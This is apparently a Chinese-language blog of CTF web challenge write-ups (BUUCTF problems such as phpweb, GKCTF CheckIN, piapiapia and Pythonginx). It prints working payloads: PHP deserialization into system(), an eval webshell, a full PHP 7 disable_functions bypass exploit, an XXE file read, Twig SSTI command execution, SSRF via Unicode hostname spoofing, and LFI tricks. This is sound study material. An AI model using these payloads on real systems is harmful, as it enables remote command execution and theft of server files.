sign=9017a8826b7267833f22c0f22d90fea7;action=readscan;

获得flag


[网鼎杯 2020 朱雀组]phpweb

看源码,有一个表单和自动提交的js。表单参数为

func=date&p=Y-m-d+h%3Ai%3As+a

是一个获取时间的函数。尝试注入点func是函数,就试试常见的读取文件函数readfile可以读取index.php

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

我没思路了,看的网上wp。使用了反序列化unserialize,实在是太斯巴拉西了。

先构造Test对象,对象销毁时也会执行gettime函数执行payload,记得要加一层urlencode,不然会被拦下

<?php
    class Test {
        var $p = "ls ../../../../";
        
        var $func = "system";
    }
$s=new Test();
echo urlencode(serialize($s));
#unserialize

O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A15%3A%22ls+..%2F..%2F..%2F..%2F%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

wp使用的是find指令找的flag地址,但是我执行以后出现503,应该是服务器防火墙阳气过盛,但是使用ls的方法一个一个找也能找得到。flag在/tmp/flagoefiu4r93

POST
func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A18%3A%22ls+..%2F..%2F..%2F..%2Ftmp%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

最后读文件

func=readfile&p=../../../../tmp/flagoefiu4r93

[GKCTF2020]CheckIN

是用base64解码执行代码,使用Ginkgo接收,GET、POST都可以

phpinfo();
cGhwaW5mbygpOw==

查看php版本和disable_function,被禁用一大堆,包括好多命令执行函数

可以使用print_r()、var_dump()输出,scandir()看目录,file_get_contents()读文件内容。

scandir根目录查看

?Ginkgo=cHJpbnRfcihzY2FuZGlyKCcuLi8uLi8uLi8uLi8nKSk7

又一个flag读不出来,但是还有一个readflag可以读出来,文件前缀是ELF,百度以后知道是linux的可执行文件

传码

eval($_POST[1]);
ZXZhbCgkX1BPU1RbMV0pOw==

蚁剑连接。但是system()被禁,只能使用disable_function绕过,之前有一道RCE ME也是用绕过,但是在这道题不管用了。在网上看wp知道了另一种,利用php7堆溢出触发,我修改了下payload部分(11行):

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("../../.././readflag");   #这里是想要执行的命令

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

在蚁剑可以看出tmp文件夹权限可以上传,上传以后使用文件包含输出执行结果。文件包含payload

?Ginkgo=aW5jbHVkZSgnL3RtcC9waHA3LWdjLWJ5cGFzcy5waHAnKTs=

03.02


[NCTF2019]Fake XML cookbook

根据题目是XML,首先想到是XXE,虽然咱没学过但是可以去搜简单的payload。

使用bp抓个包,POST中传入的是标签格式,可以确定是XXE类型的题目

POST
Content-Type: application/xml;


<user><username>1</username><password>2</password></user>

去摸一个payload试试

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
  <!ENTITY admin SYSTEM "file:///etc/passwd">
  ]>
<user><username>&admin;</username><password>123456</password></user>

成功读取文件

把路径改为/flag,获得flag


[ASIS 2019]Unicorn shop

这道题绝活。学到了unicode的安全问题:浅谈Unicode设计的安全性,看了wp。

进入网站一个本杰明·富兰克林至理名言:

金钱从来不会使人幸福,也不会使人幸福;它的本性中没有任何东西可以产生幸福。幸福拥有的越多,想要的就越多

差点信了,我就要赚钱花(小声bb)

下面两个输入框,一个ID一个钱,上面一个独角兽商品列表,一看就是让买东西,但是1-3商品输入ID都提示错误,只有第四个可以买到,但是第四个输入钱的时候只能输入1位,然鹅4号价格是1377,显然买不到,输入多个又提示 ,所以思路就是找一个unicode字符,它的数字格式值是大于1377的。

一个和unicode有关的网站:https://www.compart.com/en/unicode

网站导航栏找到Character Categories分类,这个下有三个和数相关的:Decimal Number、Letter Number、Other Number,第一个里面都是正常数值的unicode,建议去后面两个找。怎么找:Ctrl+F搜索thousand,找1377以上的都可。

我选的是这个数值是1w,直接传传不过去,使用url编码一次再传。


[BJDCTF2020]Cookie is so stable

这道题和The mystery of ip的网站一样,还有可能是ssti,hint.php的注释里有

Why not take a closer look at cookies?

去flag.php提交个1之后,看cookie为

Cookie: PHPSESSID=dba9ac7cbddf1983cbac508b01f8cdf2; user=1

一目了然,接下来就是找payload。再使用之前的

{system('cat /flag')}

被拦下来了,说明加强了过滤。在这之后去看了wp,网上的wp都是直接给出了payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

我是受了这位师傅的文章启发,又去结合了下这道题的源码才搞明白。

这道题在渲染之前使用了twig模板:

Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。Twig使用一个加载器 loader(Twig_Loader_Array) 来定位模板,以及一个环境变量 environment(Twig_Environment) 来存储配置信息。其中,render() 方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板。

我同样在题目的源码中找到了render()方法和Twig_Environment配置信息

然后payload的具体原理在的Environment.php中,贴一下和payload相关部分:

  1. 先执行{{_self.env.registerUndefinedFilterCallback("exec")}}调用了registerUndefinedFilterCallback()函数(图中884行),注册了一个未定义的函数到filterCallbacks全局变量中
  2. 接着执行{{_self.env.getFilter("whoami")}}调用了getFilter()函数,并传入变量$name值为执行的命令,当函数执行到图中代码875行时,进入循环执行了call_user_func(),这个函数大伙肯定不陌生:call_user_func 可以把第一个参数作为回调函数调用,调用的参数来源就是第一步中注册的filterCallbacks全局变量,里边已经躺好了一个刚刚注册的exec,至此就形成了payload

小彩蛋

现在(2021年3月2日16:32:44)刚好做完题,想回到BUU上整理过程,发现502了,然后去群里就看到了

挺草的记一下。


[CISCN 2019 初赛]Love Math

源码:

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

快被搞死了,是一道有过滤限制的RCE,半天没有头绪就去看wp了。

刷题记录:[CISCN 2019 初赛]Love Math

最后自己琢磨出来了一个payload,思路当然还是参考上面师傅博客的。

利用$whitelist里的函数名称和数字遍历异或^,Fuzz找出来需要的字母,然后拼接一个_GET传参执行命令。

Fuzz的代码

<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

$exp='';
for ($i=0; $i < count($whitelist); $i++) { 
	for ($j=0; $j < 1000; $j++) { 
		$exp=$whitelist[$i]^$j."";
		echo $whitelist[$i]."^".$j."----".$exp;
		echo "\n";
	}
}

需要知道的有,php某个版本以后可以使用函数名加()的方式调用函数,如

<?php

echo base_convert("strtoupper", 36, 10);
$cos=base_convert("2927671435926243", 10, 36);
echo "\n".$cos("abc");

上面代码是把字符串strtoupper赋值到变量$cos,然后直接使用$cos()执行strtoupper()函数。代码中使用base_convert函数也是这道题的一种思路哦。﹙ˊ_>ˋ﹚

还需要知道的是异或的时候会提示:字符串和数字不能直接异或,使用括号()括起来就可以了。$如果直接拼接到字符串上也是不可以的,需要使用形如$$cos才可以正确的指向变量。

最终payload:

?c=$cos=(is_finite^(6).(4)).(rad2deg^(7).(5));$cos=$$cos;$cos{0}($cos{1})&0=system&1=cat /flag

[0CTF 2016]piapiapia

使用目录扫描发现了www.zip网站备份。

网站结构

static

upload

class.php

config.php

index.php

profile.php

register.php

update.php

发现有register就去注册个试试呗

注册成功就跳转到update.php界面了,是个修改信息的,查看源码,修改信息有手机号

邮箱、昵称、图片,还用了一些正则表达式过滤,如手机必须11位、邮箱有@和点、昵称长度不大于10、图片名称使用了md5进行加密。填写信息以后跳转到了profile.php页面。注意到图片所在的标签是:

<img src="data:image/gif;base64,.......

查看源码profile.php中是这样的

$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));

读取文件以后使用base64加密的话上传的地方肯定是不能用图片马什么的了。还注意到使用了unserialize,序列化也是思路。想试试直接读flag所在文件,在config.php中找到了flag所在地

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

下载的源码肯定不会把flag直接给你,要相办法读这个文件。看到了数据库配置,感觉序列化的对象应该也是从数据库读出来的,还有一个文件没有看:class.php,顺便跟进一下user对象相关的,注意到了注册和登陆都使用到了一个函数:filter

$username = parent::filter($username);
$password = parent::filter($password);

跟进一下

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

过滤_,select、insert、update、delete、where会被替换成hacker,where长度是5,hacker长度是6,敏感一点的应该想到了序列化字符串对象也是用字符串长度的,这样长度改变的话,可以使用PHP反序列化字符串逃逸,序列化的结尾是";}可以手动构造闭合。

现在整理下思路。图片属性那里可以读文件,过滤函数会导致序列化字符串逃逸,所以就构造photo读取config.php。那么逃逸的点在哪里?电话只能是数字,邮箱需要有@等字符,图片会被md5加密,昵称哪里虽然有长度限制,但是如果我们传入数组的话就可以绕过。那么开工

先上payload

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

⭐参考了其他的好多博客,这里的点讲的很模糊,原来长度为5的字符串变成了长度为6的,应该是更不可能读不到payload的。

受到了这位师傅的博客[0CTF 2016]piapiapia,我尝试了下$profile属性其实是一个关联数组,是键值对形式的,并且字符串可能是嵌套起来的,形如

<?php
class profile{
	public $file = 'a:2:{s:8:"nickname";s:5:"where";s:5:"photo";s:3:"233";}';
	public $upload ="2333";
}
$s1= new profile();
echo serialize($s1);

结果是

O:7:"profile":2:{s:4:"file";s:56:"a:2:{s:8:"nickname";s:15:"where";s:5:"photo";s:3:"233";}";s:6:"upload";s:4:"2333";}

这种格式的,假如我们的payload是修改上面的upload,在一个字符串总长度s如上面的56读取所有变长的hacker以后,到了我们的payload地方,正常把我们构造的upload读取为对象,而后面真正的upload字符串就被舍去了。

报错是因为nickname我们传入的是数组形式的,源代码里直接对数组进行操作肯定是报错的,但是我们需要的只有photo正常即可,可以看到后面我们文件更新成功了。

查看页面的图片内容

base64解码


[SUCTF 2019]Pythonginx

整理一下源码

def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

三个if都是判断host == 'suctf.cc',但是需要最后一个host判断成功才可以读取文件,读取文件应该使用的是php伪协议,但是前面的不会了,去看wp。大概看的意思还是用unicode欺骗,相关题目[[ASIS 2019]Unicorn shop](#[ASIS 2019]Unicorn shop),使用unicode经过解析以后还是原来的字符,但是可以绕过判断==,回过头来注意到了第二个if中有newhost.append(h.encode('idna').decode('utf-8'))进行了一波编码,那么问题就出在了这里。

所以我们只需要找出随便一个host里字符的其他unicode值,这个值在经过编码以后还可以变成原来的字母。其他wp都找的是最后的字母c,那么我就找第一个字母s验证一下,贴一个unicode的网站:https://www.compart.com/en/unicode/U+0073,进入网站以后可以搜索,然后下面有相关的字符,需要多试几个

我选出的是这个字符𝐬,我们先使用url编码一下防止参数出现错误,尝试读一下passwd:

/getUrl?url=file://%F0%9D%90%ACuctf.cc/../../../../../etc/passwd

flag并不在其中,并且也不再根目录下,根据题目中有nginx应该是一个指路的,去读一读nginx的配置文件。从师傅那学到的nginx配置文件所在位置,以后说不定自己也用得到:

配置文件存放目录:/etc/nginx、/usr/local/nginx/conf/nginx.conf

主配置文件:/etc/nginx/conf/nginx.conf

管理脚本:/usr/lib64/systemd/system/nginx.service

模块:/usr/lisb64/nginx/modules

应用程序:/usr/sbin/nginx

程序默认存放位置:/usr/share/nginx/html

日志默认存放位置:/var/log/nginx

读配置文件

/getUrl?url=file://%F0%9D%90%ACuctf.cc/../../../../../usr/local/nginx/conf/nginx.conf

读flag

/getUrl?url=file://%F0%9D%90%ACuctf.cc/../../../../../usr/fffffflag

参考的博客链接:

https://www.xmsec.cc/suctf19-wp/

https://xz.aliyun.com/t/6042#toc-24

https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf


[BSidesCF 2020]Had a bad day

看这个标题我推一下OWRLD ORDER的Have a nice day

页面两个按钮,一个康狗狗照片,一个康猫猫照片,点按钮以后url就会改变为

/index.php?category=woofers

尝试输入flag会显示

只能有woofersmeowers可以通过,尝试了下php的filter伪协议读文件

读出来了,但是解密以后狗狗和猫猫这两个网页没啥作用:

<center>
	<h4> Woof! Woof! </h4>
</center>
<img style="width:100%" src="img/dog/<?php echo rand(1,10)?>.jpg">

多尝试以后发现可以读index,下面是主要的源码:

<?php
$file = $_GET['category'];
if(isset($file)){
if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

可以看到if判断中需要字符串包含woofersmeowersindex,那么我们只需要在filter伪协议中插入字符串绕过判断即可。

需要知道的:filter可以设定一个或多个过滤器名称,以管道符\分隔,所以构造payload:

/index.php?category=php://filter/meowers/convert.base64-encode/resource=flag

读出来以后解密即可获得flag

搜索的时候学到了一个其他的截断

zip://test.zip#hello.html.php

代表当前目录下的test.zip压缩包里面的hello.html.php,于是包含成功。